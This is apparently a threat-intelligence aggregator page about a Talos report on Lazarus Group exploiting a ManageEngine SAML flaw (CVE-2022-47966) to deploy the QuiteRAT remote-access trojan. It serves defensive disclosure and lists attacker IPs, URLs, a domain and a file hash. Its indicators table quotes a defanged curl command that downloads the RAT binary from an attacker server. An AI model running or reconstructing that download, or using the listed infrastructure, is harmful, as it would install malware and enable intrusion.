Vulnerabilitymedium
Lazarus Group exploits ManageEngine vulnerability to deploy QuiteRAT
Vulnerabilities mentioned
All| CVE | Vulnerability | CVSS | EPSS | Signals | Published |
|---|---|---|---|---|---|
| CVE-2022-47966 | Unauthenticated SAML RCE in Zoho ManageEngine On-Premise Products | 9.8 | 100% | KEVRansomwarePoC ×6 | KEV |
Indicators of compromise
auto-extracted · verify before use · export allAll| Type | Indicator | Context |
|---|---|---|
| domain | ec2-15-207-207-64.ap-south-1.compute.amazonaws.com | ]php hxxp[://]146[.]4[.]21[.]94/tmp/tmp/logs[.]php hxxp[://]ec2-15-207-207-64[.]ap-south-1[.]compute[.]amazonaws[.]com/resource/main/rawmail[.]php |
| ipv4 | 146.4.21.94 | loy the QuiteRAT binary from a malicious URL: curl hxxp[://]146[.]4[.]21[.]94/tmp/tmp/comp[.]dat -o c:\users\public\notify[.]exe Th |
| sha256 | ed8ec7a8dd089019cfd29143f008fa0951c56a35d73b2e1b274315152d0c0ee6 | so be found at our Github repository here . Hashes QuiteRAT ed8ec7a8dd089019cfd29143f008fa0951c56a35d73b2e1b274315152d0c0ee6 Networks IOCs 146[.]4[.]21[.]94 hxxp[://]146[.]4[.]21[.]94/ |
From the original article
7 min read at blog.talosintelligence.com
Cisco Talos discovered the North Korean state-sponsored actor Lazarus Group targeting internet backbone infrastructure and healthcare entities in Europe and the United States. This is the third documented campaign attributed to this actor in less than a year, with the actor reusing the same infrastructure throughout these operations.
By Asheer Malhotra · blog.talosintelligence.com
A short excerpt; the article and its images belong to the publisher. Summary, key facts and assessment above are AI-written from the article and can be wrong.